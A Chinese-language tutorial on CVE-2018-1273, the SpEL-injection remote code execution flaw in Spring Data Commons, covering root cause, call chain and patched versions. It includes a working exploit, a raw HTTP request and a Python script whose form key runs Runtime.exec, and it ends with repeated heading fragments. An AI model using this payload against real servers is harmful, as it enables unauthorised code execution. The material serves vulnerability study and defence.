Spring-data-commons(CVE-2018-1273)漏洞分析与利用教学<\/h1>

漏洞概述<\/h2>
CVE-2018-1273是Spring-data-commons中一个可远程执行代码的漏洞，当项目使用Spring-data的相关web特性对用户输入参数进行自动匹配时，会将用户提交的form表单的key值作为Spel表达式执行，从而导致远程代码执行。<\/p>

受影响版本<\/h2>

Spring Data Commons 1.13 至 1.13.10<\/li>

Spring Data Commons 2.0 至 2.0.5<\/li> <\/ul>

漏洞成因<\/h2>

漏洞的核心在于Spring在自动解析用户参数时使用了SpelExpressionParser<\/code>来解析propertyName。具体流程如下：<\/p>


当用户提交表单数据时，Spring会将表单的key值作为Spel表达式执行<\/li>
在MapDataBinder.java<\/code>的169行，表达式被解析并执行：
Expression expression =<\/span> PARSER.<\/span>parseExpression<\/span>(<\/span>propertyName);<\/span>
<\/span><\/span>\/\/ ...
<\/span><\/span><\/span><\/span>expression.<\/span>setValue<\/span>(<\/span>context,<\/span> value);<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
漏洞触发条件<\/h2>
配置条件<\/h3>
满足以下任一条件即视为开启了相关特性：<\/p>

显式声明@EnableSpringDataWebSupport<\/code><\/li>
使用Spring Boot框架的自动扫描特性（会自动加载SpringDataWebConfiguration<\/code>类）<\/li>
在非注解声明项目中，有以下XML配置：
<bean<\/span> class=<\/span>"org.springframework.data.web.config.SpringDataWebConfiguration"<\/span> \/><\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
代码条件<\/h3>
检查是否存在以下代码特征：<\/p>

带有@RequestMapping<\/code>注解的接口<\/li>
方法的参数为一个自定义的接口(Interface)<\/li>
<\/ol>
示例靶子代码：<\/p>
@SpringBootApplication<\/span>
<\/span><\/span>public<\/span> class<\/span> App<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> {<\/span>
<\/span><\/span>        SpringApplication.<\/span>run<\/span>(<\/span>App.<\/span>class<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    @Controller<\/span>
<\/span><\/span>    public<\/span> class<\/span> TestController<\/span> {<\/span>
<\/span><\/span>        @RequestMapping<\/span>(<\/span>"test"<\/span>)<\/span>
<\/span><\/span>        public<\/span> void<\/span> CVEController<\/span>(<\/span>TestForm testForm)<\/span> {<\/span>
<\/span><\/span>            System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>testForm.<\/span>getName<\/span>());<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span>
<\/span><\/span>interface<\/span> TestForm<\/span> {<\/span>
<\/span><\/span>    String getName<\/span>();<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞利用<\/h2>
攻击原理<\/h3>
利用form表单提交的方式，在key名称中包含Spel表达式代码。例如，如果接口有一个getName()<\/code>方法，可以构造如下攻击：<\/p>

原始方法名：getName()<\/code><\/li>
构造攻击key：name[T(java.lang.Runtime).getRuntime().exec("calc")]<\/code><\/li>
<\/ol>
攻击步骤<\/h3>

构建一个HTTP POST请求<\/li>
使用form表单提交方式<\/li>
在key名称中包含Spel表达式代码<\/li>
<\/ol>
攻击Payload示例<\/h3>
HTTP请求示例：<\/p>
POST \/test HTTP\/1.1
Host: 127.0.0.1:8080
Content-Type: application\/x-www-form-urlencoded
Cache-Control: no-cache

name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
<\/code><\/pre>
Python攻击脚本示例：<\/p>
import<\/span> http.client,<\/span> urllib.parse
<\/span><\/span>
<\/span><\/span>command =<\/span> "calc.exe"<\/span>
<\/span><\/span>key =<\/span> 'name[T(java.lang.Runtime).getRuntime().exec("<\/span>%s<\/span>")]'<\/span> %<\/span> command
<\/span><\/span>params =<\/span> urllib.<\/span>parse.<\/span>urlencode({key: 'v'<\/span>})
<\/span><\/span>headers =<\/span> {"Content-type"<\/span>: "application\/x-www-form-urlencoded"<\/span>}
<\/span><\/span>conn =<\/span> http.<\/span>client.<\/span>HTTPConnection(host=<\/span>"localhost"<\/span>,port=<\/span>8080<\/span>)
<\/span><\/span>conn.<\/span>request("POST"<\/span>, "\/test"<\/span>, params, headers)
<\/span><\/span>conn.<\/span>close()
<\/span><\/span><\/code><\/pre>Spring Expression Language (SpEL) 基础<\/h2>
SpEL是Spring自带的表达式语言，具有以下特性：<\/p>
1. 支持简单值<\/h3>
SpelExpressionParser parser =<\/span> new<\/span> SpelExpressionParser(<\/span>new<\/span> SpelParserConfiguration(<\/span>false<\/span>,<\/span> true<\/span>));<\/span>
<\/span><\/span>Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"'this is a value'"<\/span>);<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>exp.<\/span>getValue<\/span>());<\/span> \/\/ 输出: this is a value
<\/span><\/span><\/span><\/code><\/pre>2. 支持执行Java类方法<\/h3>
Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"T(java.lang.Math).random() * 100.0"<\/span>);<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>exp.<\/span>getValue<\/span>());<\/span> \/\/ 返回一个随机数
<\/span><\/span><\/span><\/code><\/pre>3. 支持对象属性赋值<\/h3>
Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"name='set my value'"<\/span>);<\/span>
<\/span><\/span>MockClass mockClass =<\/span> new<\/span> MockClass();<\/span>
<\/span><\/span>exp.<\/span>getValue<\/span>(<\/span>mockClass);<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>mockClass.<\/span>name<\/span>);<\/span> \/\/ 输出: set my value
<\/span><\/span><\/span><\/code><\/pre>4. 支持数组操作<\/h3>
Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"list[0]='list value'"<\/span>);<\/span>
<\/span><\/span>MockClass mockClass =<\/span> new<\/span> MockClass();<\/span>
<\/span><\/span>exp.<\/span>getValue<\/span>(<\/span>mockClass);<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>mockClass.<\/span>list<\/span>[<\/span>0<\/span>]);<\/span> \/\/ 输出: list value
<\/span><\/span><\/span><\/code><\/pre>5. 支持表达式作为数组下标<\/h3>
Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"list[T(java.lang.Math).abs(0)]='index is 0'"<\/span>);<\/span>
<\/span><\/span>MockClass mockClass =<\/span> new<\/span> MockClass();<\/span>
<\/span><\/span>exp.<\/span>getValue<\/span>(<\/span>mockClass);<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>mockClass.<\/span>list<\/span>[<\/span>0<\/span>]);<\/span> \/\/ 输出: index is 0
<\/span><\/span><\/span><\/code><\/pre>6. 支持获取数组属性值<\/h3>
Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"list[T(java.lang.Math).abs(1)]"<\/span>);<\/span>
<\/span><\/span>MockClass mockClass =<\/span> new<\/span> MockClass();<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>exp.<\/span>getValue<\/span>(<\/span>mockClass));<\/span> \/\/ 输出: 1
<\/span><\/span><\/span><\/code><\/pre>7. 执行恶意代码示例<\/h3>
Expression exp =<\/span> parser.<\/span>parseExpression<\/span>(<\/span>"list[T(java.lang.Runtime).getRuntime().exec(\"calc\")]"<\/span>);<\/span>
<\/span><\/span>MockClass mockClass =<\/span> new<\/span> MockClass();<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>exp.<\/span>getValue<\/span>(<\/span>mockClass));<\/span> \/\/ 执行计算器程序
<\/span><\/span><\/span><\/code><\/pre>漏洞调用链分析<\/h2>

SpringDataWebConfiguration<\/code>类特性启用时，会注册ProxyingHandlerMethodArgumentResolver<\/code>到容器中<\/li>
Spring MVC处理请求时，会遍历所有HandlerMethodArgumentResolver<\/code><\/li>
当参数是Interface时，ProxyingHandlerMethodArgumentResolver<\/code>会返回true<\/code>表示支持解析<\/li>
解析过程中会创建MapDataBinder<\/code>来解析参数<\/li>
MapDataBinder.bind()<\/code>方法会调用doBind<\/code>操作<\/li>
最终调用setPropertyValue<\/code>方法，执行expression.setValue(context, value)<\/code>触发漏洞<\/li>
<\/ol>
防御措施<\/h2>

升级Spring Data Commons到安全版本：

1.13.11及以上<\/li>
2.0.6及以上<\/li>
<\/ul>
<\/li>
避免在Controller中直接使用接口作为参数类型<\/li>
对用户输入进行严格的过滤和验证<\/li>
<\/ol>
总结<\/h2>
CVE-2018-1273漏洞利用Spring Data Commons在参数绑定时的SpEL表达式解析功能，通过精心构造的请求参数实现远程代码执行。理解该漏洞的成因和利用方式对于开发安全的Spring应用程序至关重要。<\/p>

Spring-data-commons(CVE-2018-1273)漏洞分析与利用教学<\/h1>

漏洞概述<\/h2> CVE-2018-1273是Spring-data-commons中一个可远程执行代码的漏洞，当项目使用Spring-data的相关web特性对用户输入参数进行自动匹配时，会将用户提交的form表单的key值作为Spel表达式执行，从而导致远程代码执行。<\/p>

漏洞触发条件<\/h2>

漏洞利用<\/h2>

Spring Expression Language (SpEL) 基础<\/h2> SpEL是Spring自带的表达式语言，具有以下特性：<\/p>

总结<\/h2> CVE-2018-1273漏洞利用Spring Data Commons在参数绑定时的SpEL表达式解析功能，通过精心构造的请求参数实现远程代码执行。理解该漏洞的成因和利用方式对于开发安全的Spring应用程序至关重要。<\/p>

漏洞概述<\/h2>
CVE-2018-1273是Spring-data-commons中一个可远程执行代码的漏洞，当项目使用Spring-data的相关web特性对用户输入参数进行自动匹配时，会将用户提交的form表单的key值作为Spel表达式执行，从而导致远程代码执行。<\/p>

Spring Expression Language (SpEL) 基础<\/h2>
SpEL是Spring自带的表达式语言，具有以下特性：<\/p>

总结<\/h2>
CVE-2018-1273漏洞利用Spring Data Commons在参数绑定时的SpEL表达式解析功能，通过精心构造的请求参数实现远程代码执行。理解该漏洞的成因和利用方式对于开发安全的Spring应用程序至关重要。<\/p>